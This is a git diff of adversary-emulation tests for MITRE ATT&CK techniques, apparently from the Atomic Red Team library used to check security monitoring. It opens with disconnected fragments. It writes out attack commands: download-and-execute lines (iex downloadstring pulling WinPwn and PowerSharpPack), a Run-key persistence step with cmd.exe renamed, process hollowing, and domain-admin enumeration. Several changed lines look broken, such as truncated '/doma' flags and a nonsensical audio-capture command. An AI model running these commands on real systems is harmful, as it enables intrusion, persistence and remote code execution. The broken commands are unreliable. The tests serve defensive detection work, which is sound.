sudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate
name: bash
elevation_required: true
defaults read /usr/libexec/ApplicationFirewall/com.apple.alf || defaults read /Library/Preferences/com.apple.alf
/usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate
name: sh
- name: DNS Server Discovery Using nslookup
auto_generated_guid: 34557863-344a-468f-808b-a1bfb89b4fa9
description: |
-99
View File
@@ -1,99 +0,0 @@
# T1027.013 - Obfuscated Files or Information: Encrypted/Encoded File
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1027/013)
<blockquote>
Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as [Software Packing](https://attack.mitre.org/techniques/T1027/002), [Steganography](https://attack.mitre.org/techniques/T1027/003), and [Embedded Payloads](https://attack.mitre.org/techniques/T1027/009), share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)) at the time of execution/use.
This type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files.(Citation: File obfuscation) Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding schemes such as Base64.
The entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection.
For example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a [Phishing](https://attack.mitre.org/techniques/T1566) payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: SFX - Encrypted/Encoded File)
Adversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) execution.
</blockquote>
## Atomic Tests
- [Atomic Test #1 - Decode Eicar File and Write to File](#atomic-test-1---decode-eicar-file-and-write-to-file)
- [Atomic Test #2 - Decrypt Eicar File and Write to File](#atomic-test-2---decrypt-eicar-file-and-write-to-file)
<br/>
## Atomic Test #1 - Decode Eicar File and Write to File
Decode the eicar value, and write it to file, for AV/EDR to try to catch.
**Supported Platforms:** Windows, macOS, Linux
**auto_generated_guid:** 7693ccaa-8d64-4043-92a5-a2eb70359535
#### Attack Commands: Run with `powershell`!
```powershell
$encodedString = "WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo="
$bytes = [System.Convert]::FromBase64String($encodedString)
$decodedString = [System.Text.Encoding]::UTF8.GetString($bytes)
#write the decoded eicar string to file
$decodedString | Out-File T1027.013_decodedEicar.txt
```
#### Cleanup Commands:
```powershell
Just delete the resulting T1027.013_decodedEicar.txt file.
```
<br/>
<br/>
## Atomic Test #2 - Decrypt Eicar File and Write to File
Decrypt the eicar value, and write it to file, for AV/EDR to try to catch.
**Supported Platforms:** Windows, macOS, Linux
**auto_generated_guid:** b404caaa-12ce-43c7-9214-62a531c044f7
#### Attack Commands: Run with `powershell`!
```powershell
$encryptedString = "76492d1116743f0423413b16050a5345MgB8AGkASwA0AHMAbwBXAFoAagBkAFoATABXAGIAdAA5AFcAWAB1AFMANABVAEEAPQA9AHwAZQBjAGMANgAwADQAZAA0AGQAMQAwADUAYgA4ADAAMgBmADkAZgBjADEANQBjAGMANQBiAGMANwA2AGYANQBmADUANABhAGIAYgAyAGMANQA1AGQAMgA5ADEANABkADUAMgBiAGMANgA2AGMAMAAxADUAZABjADAAOABjAGIANAA1ADUANwBjADcAZQBlAGQAYgAxADEAOQA4AGIAMwAwADMANwAwADAANQA2ADQAOAA4ADkAZgA4ADMAZQA4ADgAOQBiAGEAMAA2ADMAMQAyADYAMwBiAGUAMAAxADgANAA0ADYAOAAxADQANQAwAGUANwBkADkANABjADcANQAxADgAYQA2ADMANQA4AGIAYgA1ADkANQAzAGIAMwAxADYAOAAwADQAMgBmADcAZQBjADYANQA5AGIANwBkADUAOAAyAGEAMgBiADEAMQAzAGQANABkADkAZgA3ADMAMABiADgAOQAxADAANAA4ADcAOQA5ADEAYQA1ADYAZAAzADQANwA3AGYANgAyADcAMAAwADEAMQA4ADEAZgA5ADUAYgBmAGYANQA3ADQAZQA4AGUAMAAxADUANwAwAGQANABiADMAMwA2ADgANwA0AGIANwAyADMAMQBhADkAZABhADEANQAzADQAMgAzADEANwAxADAAZgAxADkAYQA1ADEAMQA="
$key = [byte]1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32
$decrypt = ConvertTo-SecureString -String $encryptedString -Key $key
$decryptedString = [Runtime.InteropServices.Marshal]::PtrToStringBSTR([Runtime.InteropServices.Marshal]::SecureStringToBSTR($decrypt))
#Write the decrypted eicar string to a file
$decryptedString | out-file T1027.013_decryptedEicar.txt
```
#### Cleanup Commands:
```powershell
Just delete the resulting T1027.013_decryptedEicar.txt file.
```
<br/>
-41
View File
@@ -1,41 +0,0 @@
attack_technique: T1027.013
display_name: 'Obfuscated Files or Information: Encrypted/Encoded File'
atomic_tests:
- name: Decode Eicar File and Write to File
auto_generated_guid: 7693ccaa-8d64-4043-92a5-a2eb70359535
description: Decode the eicar value, and write it to file, for AV/EDR to try to catch.
supported_platforms:
- windows
- macos
- linux
executor:
command: |-
$encodedString = "WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo="
$bytes = [System.Convert]::FromBase64String($encodedString)
$decodedString = [System.Text.Encoding]::UTF8.GetString($bytes)
#write the decoded eicar string to file
$decodedString | Out-File T1027.013_decodedEicar.txt
cleanup_command: Just delete the resulting T1027.013_decodedEicar.txt file.
name: powershell
elevation_required: false
- name: Decrypt Eicar File and Write to File
auto_generated_guid: b404caaa-12ce-43c7-9214-62a531c044f7
description: Decrypt the eicar value, and write it to file, for AV/EDR to try to catch.
supported_platforms:
- windows
- macos
- linux
executor:
command: |-
$encryptedString = "76492d1116743f0423413b16050a5345MgB8AGkASwA0AHMAbwBXAFoAagBkAFoATABXAGIAdAA5AFcAWAB1AFMANABVAEEAPQA9AHwAZQBjAGMANgAwADQAZAA0AGQAMQAwADUAYgA4ADAAMgBmADkAZgBjADEANQBjAGMANQBiAGMANwA2AGYANQBmADUANABhAGIAYgAyAGMANQA1AGQAMgA5ADEANABkADUAMgBiAGMANgA2AGMAMAAxADUAZABjADAAOABjAGIANAA1ADUANwBjADcAZQBlAGQAYgAxADEAOQA4AGIAMwAwADMANwAwADAANQA2ADQAOAA4ADkAZgA4ADMAZQA4ADgAOQBiAGEAMAA2ADMAMQAyADYAMwBiAGUAMAAxADgANAA0ADYAOAAxADQANQAwAGUANwBkADkANABjADcANQAxADgAYQA2ADMANQA4AGIAYgA1ADkANQAzAGIAMwAxADYAOAAwADQAMgBmADcAZQBjADYANQA5AGIANwBkADUAOAAyAGEAMgBiADEAMQAzAGQANABkADkAZgA3ADMAMABiADgAOQAxADAANAA4ADcAOQA5ADEAYQA1ADYAZAAzADQANwA3AGYANgAyADcAMAAwADEAMQA4ADEAZgA5ADUAYgBmAGYANQA3ADQAZQA4AGUAMAAxADUANwAwAGQANABiADMAMwA2ADgANwA0AGIANwAyADMAMQBhADkAZABhADEANQAzADQAMgAzADEANwAxADAAZgAxADkAYQA1ADEAMQA="
$key = [byte]1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32
$decrypt = ConvertTo-SecureString -String $encryptedString -Key $key
$decryptedString = [Runtime.InteropServices.Marshal]::PtrToStringBSTR([Runtime.InteropServices.Marshal]::SecureStringToBSTR($decrypt))
#Write the decrypted eicar string to a file
$decryptedString | out-file T1027.013_decryptedEicar.txt
cleanup_command: Just delete the resulting T1027.013_decryptedEicar.txt file.
name: powershell
elevation_required: false
+2 -84
View File
@@ -10,16 +10,14 @@ This may be done by placing an executable in a commonly trusted directory (ex: u
## Atomic Tests
- [Atomic Test #1 - Execute a process from a directory masquerading as the current parent directory](#atomic-test-1---execute-a-process-from-a-directory-masquerading-as-the-current-parent-directory)
- [Atomic Test #1 - Execute a process from a directory masquerading as the current parent directory.](#atomic-test-1---execute-a-process-from-a-directory-masquerading-as-the-current-parent-directory)
- [Atomic Test #2 - Masquerade as a built-in system executable](#atomic-test-2---masquerade-as-a-built-in-system-executable)
- [Atomic Test #3 - Masquerading cmd.exe as VEDetector.exe](#atomic-test-3---masquerading-cmdexe-as-vedetectorexe)
<br/>
## Atomic Test #1 - Execute a process from a directory masquerading as the current parent directory
## Atomic Test #1 - Execute a process from a directory masquerading as the current parent directory.
Create and execute a process from a directory masquerading as the current parent directory (`...` instead of normal `..`)
**Supported Platforms:** macOS, Linux
@@ -101,84 +99,4 @@ Remove-Item -Path "#{executable_filepath}" -ErrorAction Ignore
<br/>
<br/>
## Atomic Test #3 - Masquerading cmd.exe as VEDetector.exe
This test simulates an adversary renaming cmd.exe to VEDetector.exe to masquerade as a legitimate application.
The test copies cmd.exe, renames it to VEDetector.exe, adds a registry run key for persistence, and executes the renamed binary.
This technique may be used to evade detection by mimicking legitimate software names or locations.
**Expected Output:**
- A new process named VEDetector.exe appears in the process list, but its behavior matches cmd.exe.
- SIEM/EDR systems may detect this as suspicious process activity (e.g., Sysmon Event ID 1 for process creation, or Event ID 13 for registry modifications).
- Registry modification in HKLM:\Software\Microsoft\Windows\CurrentVersion\Run may trigger persistence alerts in XDR platforms.
**References:**
- [MITRE ATT&CK T1036.005](https://attack.mitre.org/techniques/T1036/005/)
- [Sysmon Process Creation](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon)
**Supported Platforms:** Windows
**auto_generated_guid:** 03ae82a6-9fa0-465b-91df-124d8ca5c4e8
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| ved_path | Directory path where VEDetector.exe will be created | Path | $env:TEMP|
| source_file | Path to the source cmd.exe file | Path | $env:SystemRoot&#92;System32&#92;cmd.exe|
#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)
```powershell
# Copy and rename cmd.exe to VEDetector.exe
Copy-Item -Path "#{source_file}" -Destination "#{ved_path}\VEDetector.exe" -Force
# Create registry run key for persistence
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "VEDetector" -Value "#{ved_path}\VEDetector.exe" -PropertyType String -Force
# Start the renamed process
Start-Process -FilePath "#{ved_path}\VEDetector.exe"
Start-Sleep -Seconds 5
```
#### Cleanup Commands:
```powershell
# Remove registry key
Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "VEDetector" -ErrorAction SilentlyContinue
# Stop the process
Stop-Process -Name "VEDetector" -Force -ErrorAction SilentlyContinue
# Remove the file
Remove-Item -Path "#{ved_path}\VEDetector.exe" -Force -ErrorAction SilentlyContinue
Write-Host "[+] Cleaned up VEDetector artifacts"
```
#### Dependencies: Run with `powershell`!
##### Description: The source cmd.exe file must exist on the system.
##### Check Prereq Commands:
```powershell
if (Test-Path "#{source_file}") { exit 0 } else { exit 1 }
```
##### Get Prereq Commands:
```powershell
Write-Host "[-] Source file not found: #{source_file}. Ensure cmd.exe exists in the specified path."
exit 1
```
<br/>
Executable → Regular
+4 -72
View File
@@ -1,15 +1,13 @@
---
attack_technique: T1036.005
display_name: 'Masquerading: Match Legitimate Name or Location'
atomic_tests:
- name: Execute a process from a directory masquerading as the current parent directory
- name: Execute a process from a directory masquerading as the current parent directory.
auto_generated_guid: 812c3ab8-94b0-4698-a9bf-9420af23ce24
description: |
Create and execute a process from a directory masquerading as the current parent directory (`...` instead of normal `..`)
supported_platforms:
- macos
- linux
- macos
- linux
input_arguments:
test_message:
description: Test message to echo out to the screen
@@ -25,13 +23,12 @@ atomic_tests:
cleanup_command: |
rm -f $HOME/.../sh
rmdir $HOME/.../
- name: Masquerade as a built-in system executable
auto_generated_guid: 35eb8d16-9820-4423-a2a1-90c4f5edd9ca
description: |
Launch an executable that attempts to masquerade as a legitimate executable.
supported_platforms:
- windows
- windows
input_arguments:
executable_filepath:
description: File path where the generated executable will be dropped and executed from. The filename should be the name of a built-in system utility.
@@ -51,68 +48,3 @@ atomic_tests:
cleanup_command: |
Remove-Item -Path "#{executable_filepath}" -ErrorAction Ignore
name: powershell
- name: Masquerading cmd.exe as VEDetector.exe
auto_generated_guid: 03ae82a6-9fa0-465b-91df-124d8ca5c4e8
description: |
This test simulates an adversary renaming cmd.exe to VEDetector.exe to masquerade as a legitimate application.
The test copies cmd.exe, renames it to VEDetector.exe, adds a registry run key for persistence, and executes the renamed binary.
This technique may be used to evade detection by mimicking legitimate software names or locations.
**Expected Output:**
- A new process named VEDetector.exe appears in the process list, but its behavior matches cmd.exe.
- SIEM/EDR systems may detect this as suspicious process activity (e.g., Sysmon Event ID 1 for process creation, or Event ID 13 for registry modifications).
- Registry modification in HKLM:\Software\Microsoft\Windows\CurrentVersion\Run may trigger persistence alerts in XDR platforms.
**References:**
- [MITRE ATT&CK T1036.005](https://attack.mitre.org/techniques/T1036/005/)
- [Sysmon Process Creation](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon)
supported_platforms:
- windows
input_arguments:
ved_path:
description: Directory path where VEDetector.exe will be created
type: Path
default: $env:TEMP
source_file:
description: Path to the source cmd.exe file
type: Path
default: $env:SystemRoot\System32\cmd.exe
dependency_executor_name: powershell
dependencies:
- description: |
The source cmd.exe file must exist on the system.
prereq_command: |
if (Test-Path "#{source_file}") { exit 0 } else { exit 1 }
get_prereq_command: |
Write-Host "[-] Source file not found: #{source_file}. Ensure cmd.exe exists in the specified path."
exit 1
executor:
name: powershell
elevation_required: true
command: |
# Copy and rename cmd.exe to VEDetector.exe
Copy-Item -Path "#{source_file}" -Destination "#{ved_path}\VEDetector.exe" -Force
# Create registry run key for persistence
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "VEDetector" -Value "#{ved_path}\VEDetector.exe" -PropertyType String -Force
# Start the renamed process
Start-Process -FilePath "#{ved_path}\VEDetector.exe"
Start-Sleep -Seconds 5
cleanup_command: |
# Remove registry key
Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "VEDetector" -ErrorAction SilentlyContinue
# Stop the process
Stop-Process -Name "VEDetector" -Force -ErrorAction SilentlyContinue
# Remove the file
Remove-Item -Path "#{ved_path}\VEDetector.exe" -Force -ErrorAction SilentlyContinue
Write-Host "[+] Cleaned up VEDetector artifacts"
+1 -20
View File
@@ -39,8 +39,6 @@ Credit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| script_download_url | Download url for Start-Hollow.ps1 | string | https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/720d8fe82396faf74f2ca19a3fe99a5c262a14b9/Start-Hollow.ps1|
| script_path | Path to Start-Hollow.ps1 | path | PathToAtomicsFolder&#92;T1055.012&#92;src&#92;Start-Hollow.ps1|
| hollow_binary_path | Path of the binary to hollow (executable that will run inside the sponsor) | string | C:&#92;Windows&#92;System32&#92;cmd.exe|
| parent_process_name | Name of the parent process | string | explorer|
| sponsor_binary_path | Path of the sponsor binary (executable that will host the binary) | string | C:&#92;Windows&#92;System32&#92;notepad.exe|
@@ -51,7 +49,7 @@ Credit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/
```powershell
. "#{script_path}"
. "$PathToAtomicsFolder\T1055.012\src\Start-Hollow.ps1"
$ppid=Get-Process #{parent_process_name} | select -expand id
Start-Hollow -Sponsor "#{sponsor_binary_path}" -Hollow "#{hollow_binary_path}" -ParentPID $ppid -Verbose
```
@@ -63,23 +61,6 @@ Stop-Process -Name "#{spawnto_process_name}" -ErrorAction Ignore
#### Dependencies: Run with `powershell`!
##### Description: Start-Hollow.ps1 must be installed
##### Check Prereq Commands:
```powershell
if (Test-Path "#{script_path}") {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
try {
iwr "#{script_download_url}" -OutFile (New-Item -Path #{script_path} -Force)
} catch {
Write-Error $_
Exit 1
}
```
<br/>
+2 -23
View File
@@ -9,14 +9,6 @@ atomic_tests:
supported_platforms:
- windows
input_arguments:
script_download_url:
description: Download url for Start-Hollow.ps1
type: string
default: https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/720d8fe82396faf74f2ca19a3fe99a5c262a14b9/Start-Hollow.ps1
script_path:
description: Path to Start-Hollow.ps1
type: path
default: PathToAtomicsFolder\T1055.012\src\Start-Hollow.ps1
hollow_binary_path:
description: Path of the binary to hollow (executable that will run inside the sponsor)
type: string
@@ -35,25 +27,12 @@ atomic_tests:
default: notepad
executor:
command: |
. "#{script_path}"
. "$PathToAtomicsFolder\T1055.012\src\Start-Hollow.ps1"
$ppid=Get-Process #{parent_process_name} | select -expand id
Start-Hollow -Sponsor "#{sponsor_binary_path}" -Hollow "#{hollow_binary_path}" -ParentPID $ppid -Verbose
cleanup_command: |
Stop-Process -Name "#{spawnto_process_name}" -ErrorAction Ignore
name: powershell
dependency_executor_name: powershell
dependencies:
- description: |
Start-Hollow.ps1 must be installed
prereq_command: |
if (Test-Path "#{script_path}") {exit 0} else {exit 1}
get_prereq_command: |
try {
iwr "#{script_download_url}" -OutFile (New-Item -Path #{script_path} -Force)
} catch {
Write-Error $_
Exit 1
}
- name: RunPE via VBA
auto_generated_guid: 3ad4a037-1598-4136-837c-4027e4fa319b
description: |
@@ -133,4 +112,4 @@ atomic_tests:
$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcessWithPipe.exe -program "#{hollow_binary_path}" -debug
cleanup_command: |
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue
Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue
+4 -4
View File
@@ -127,10 +127,10 @@ test will display some errors if run on a computer not connected to a domain. Up
```cmd
net groups "Account Operators" /domain
net groups "Exchange Organization Management" /domain
net group "BUILTIN\Backup Operators" /domain
net group "Domain Admins" /domain
net groups "Account Operators" /doma
net groups "Exchange Organization Management" /doma
net group "BUILTIN\Backup Operators" /doma
net group /domai "Domain Admins"
```
+4 -4
View File
@@ -40,10 +40,10 @@ atomic_tests:
- windows
executor:
command: |
net groups "Account Operators" /domain
net groups "Exchange Organization Management" /domain
net group "BUILTIN\Backup Operators" /domain
net group "Domain Admins" /domain
net groups "Account Operators" /doma
net groups "Exchange Organization Management" /doma
net group "BUILTIN\Backup Operators" /doma
net group /domai "Domain Admins"
name: command_prompt
- name: Find machines where user has local admin access (PowerView)
auto_generated_guid: a2d71eee-a353-4232-9f86-54f4288dd8c1
-10
View File
@@ -527,7 +527,6 @@ Discover Local Privilege Escalation possibilities using winPEAS function of WinP
```powershell
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
winPEAS -noninteractive -consoleoutput
```
@@ -557,7 +556,6 @@ Discover Local Privilege Escalation possibilities using itm4nprivesc function of
```powershell
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
itm4nprivesc -noninteractive -consoleoutput
```
@@ -587,7 +585,6 @@ Powersploits privesc checks using oldchecks function of WinPwn
```powershell
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
oldchecks -noninteractive -consoleoutput
```
@@ -625,7 +622,6 @@ General privesc checks using the otherchecks function of WinPwn
```powershell
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
otherchecks -noninteractive -consoleoutput
```
@@ -655,7 +651,6 @@ Collect general computer informations via GeneralRecon function of WinPwn
```powershell
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Generalrecon -consoleoutput -noninteractive
```
@@ -685,7 +680,6 @@ Gathers local system information using the Morerecon function of WinPwn
```powershell
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Morerecon -noninteractive -consoleoutput
```
@@ -715,7 +709,6 @@ Search for Resource-Based Constrained Delegation attack paths using RBCD-Check f
```powershell
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
RBCD-Check -consoleoutput -noninteractive
```
@@ -745,7 +738,6 @@ PowerSharpPack - Watson searching for missing windows patches technique via fun
```powershell
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1')
Invoke-watson
```
@@ -775,7 +767,6 @@ PowerSharpPack - Sharpup checking common Privesc vectors technique via function
```powershell
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')
Invoke-SharpUp -command "audit"
```
@@ -807,7 +798,6 @@ PowerSharpPack - Seatbelt technique via function of WinPwn.
```powershell
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')
Invoke-Seatbelt -Command "-group=all"
```
-10
View File
@@ -187,7 +187,6 @@ atomic_tests:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
winPEAS -noninteractive -consoleoutput
name: powershell
@@ -198,7 +197,6 @@ atomic_tests:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
itm4nprivesc -noninteractive -consoleoutput
name: powershell
@@ -209,7 +207,6 @@ atomic_tests:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
oldchecks -noninteractive -consoleoutput
cleanup_command: |-
@@ -226,7 +223,6 @@ atomic_tests:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
otherchecks -noninteractive -consoleoutput
name: powershell
@@ -237,7 +233,6 @@ atomic_tests:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Generalrecon -consoleoutput -noninteractive
name: powershell
@@ -248,7 +243,6 @@ atomic_tests:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Morerecon -noninteractive -consoleoutput
name: powershell
@@ -259,7 +253,6 @@ atomic_tests:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
RBCD-Check -consoleoutput -noninteractive
name: powershell
@@ -271,7 +264,6 @@ atomic_tests:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1')
Invoke-watson
name: powershell
@@ -282,7 +274,6 @@ atomic_tests:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')
Invoke-SharpUp -command "audit"
name: powershell
@@ -297,7 +288,6 @@ atomic_tests:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')
Invoke-Seatbelt -Command "-group=all"
name: powershell
-31
View File
@@ -26,8 +26,6 @@ Some files and directories may require elevated or specific user permissions to
- [Atomic Test #7 - ESXi - Enumerate VMDKs available on an ESXi Host](#atomic-test-7---esxi---enumerate-vmdks-available-on-an-esxi-host)
- [Atomic Test #8 - Identifying Network Shares - Linux](#atomic-test-8---identifying-network-shares---linux)
<br/>
@@ -346,33 +344,4 @@ Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -O
<br/>
<br/>
## Atomic Test #8 - Identifying Network Shares - Linux
If the system uses network file systems (e.g., NFS, CIFS), findmnt can help locate paths to remote shares.
Attackers may then attempt to access these shares for lateral movement or data exfiltration.
**Supported Platforms:** Linux
**auto_generated_guid:** 361fe49d-0c19-46ec-a483-ccb92d38e88e
#### Attack Commands: Run with `sh`!
```sh
findmnt -t nfs
```
<br/>
-11
View File
@@ -191,14 +191,3 @@ atomic_tests:
echo "" | "#{plink_file}" "#{vm_host}" -ssh -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}"
name: command_prompt
elevation_required: false
- name: Identifying Network Shares - Linux
auto_generated_guid: 361fe49d-0c19-46ec-a483-ccb92d38e88e
description: |
If the system uses network file systems (e.g., NFS, CIFS), findmnt can help locate paths to remote shares.
Attackers may then attempt to access these shares for lateral movement or data exfiltration.
supported_platforms:
- linux
executor:
command: |
findmnt -t nfs
name: sh
+2 -17
View File
@@ -20,8 +20,7 @@ Malware or scripts may be used to interact with the devices through an available
<br/>
## Atomic Test #1 - using device audio capture commandlet
Uses AudioDeviceCmdlets to set the default recording device and simulate audio capture.
Module repo: [AudioDeviceCmdlets](https://github.com/frgnca/AudioDeviceCmdlets)
[AudioDeviceCmdlets](https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet)
**Supported Platforms:** Windows
@@ -37,26 +36,12 @@ Module repo: [AudioDeviceCmdlets](https://github.com/frgnca/AudioDeviceCmdlets)
```powershell
$mic = Get-AudioDevice -Recording
Set-AudioDevice -ID $mic.ID
Start-Sleep -Seconds 5
powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet
```
#### Dependencies: Run with `powershell`!
##### Description: AudioDeviceCmdlets module must be installed
##### Check Prereq Commands:
```powershell
if (Get-Module -ListAvailable -Name AudioDeviceCmdlets) { exit 0 } else { exit 1 }
```
##### Get Prereq Commands:
```powershell
Install with: Install-Module -Name AudioDeviceCmdlets -Force"
```
<br/>
+2 -11
View File
@@ -4,21 +4,12 @@ atomic_tests:
- name: using device audio capture commandlet
auto_generated_guid: 9c3ad250-b185-4444-b5a9-d69218a10c95
description: |
